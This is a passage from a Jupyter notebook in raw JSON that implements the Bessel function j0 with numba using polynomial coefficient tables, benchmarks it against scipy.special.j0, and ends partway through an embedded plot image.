2.11277520115489217587E12,\n", " 3.10518229857422583814E14,\n", " 3.18121955943204943306E16,\n", " 1.71086294081043136091E18], 'd')\n", "\n", "QP = np.array([\n", "-1.13663838898469149931E-2,\n", "-1.28252718670509318512E0,\n", "-1.95539544257735972385E1,\n", "-9.32060152123768231369E1,\n", "-1.77681167980488050595E2,\n", "-1.47077505154951170175E2,\n", "-5.14105326766599330220E1,\n", "-6.05014350600728481186E0], 'd')\n", "\n", "QQ = np.array([\n", " # 1.00000000000000000000E0,\n", " 6.43178256118178023184E1,\n", " 8.56430025976980587198E2,\n", " 3.88240183605401609683E3,\n", " 7.24046774195652478189E3,\n", " 5.93072701187316984827E3,\n", " 2.06209331660327847417E3,\n", " 2.42005740240291393179E2], 'd')\n", "\n", "NPY_PI_4 = .78539816339744830962\n", "SQ2OPI = .79788456080286535587989\n" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Now for the function itself" ] }, { "cell_type": "code", "execution_count": 5, "metadata": { "collapsed": false }, "outputs": [], "source": [ "@jit('f8(f8)')\n", "def j0(x):\n", " if (x < 0):\n", " x = -x\n", "\n", " if (x <= 5.0):\n", " z = x * x\n", " if (x < 1.0e-5):\n", " return (1.0 - z / 4.0)\n", " p = (z-DR1) * (z-DR2)\n", " p = p * polevl(z, RP) / polevl(z, RQ)\n", " return p\n", " \n", " w = 5.0 / x\n", " q = 25.0 / (x*x)\n", " p = polevl(q, PP) / polevl(q, PQ)\n", " q = polevl(q, QP) / p1evl(q, QQ)\n", " xn = x - NPY_PI_4\n", " p = p*math.cos(xn) - w * q * math.sin(xn)\n", " return p * SQ2OPI / math.sqrt(x)\n" ] }, { "cell_type": "code", "execution_count": 6, "metadata": { "collapsed": false }, "outputs": [], "source": [ "from numba import vectorize\n", "import scipy.special as ss\n", "\n", "vj0 = vectorize(['f8(f8)'])(j0.py_func)\n" ] }, { "cell_type": "code", "execution_count": 7, "metadata": { "collapsed": false }, "outputs": [], "source": [ "x = np.linspace(-10,10,1000)" ] }, { "cell_type": "code", "execution_count": 8, "metadata": { "collapsed": false }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "100 loops, best of 3: 4.47 ms per loop\n" ] } ], "source": [ "%timeit vj0(x)" ] }, { "cell_type": "code", "execution_count": 9, "metadata": { "collapsed": false }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "The slowest run took 11.78 times longer than the fastest. This could mean that an intermediate result is being cached.\n", "10000 loops, best of 3: 28.4 µs per loop\n" ] } ], "source": [ "%timeit ss.j0(x)" ] }, { "cell_type": "code", "execution_count": 10, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/plain": [ "[<matplotlib.lines.Line2D at 0x10f0b49b0>,\n", " <matplotlib.lines.Line2D at 0x10f0b4f28>]" ] }, "execution_count": 10, "metadata": {}, "output_type": "execute_result" }, { "data": { "image/png": "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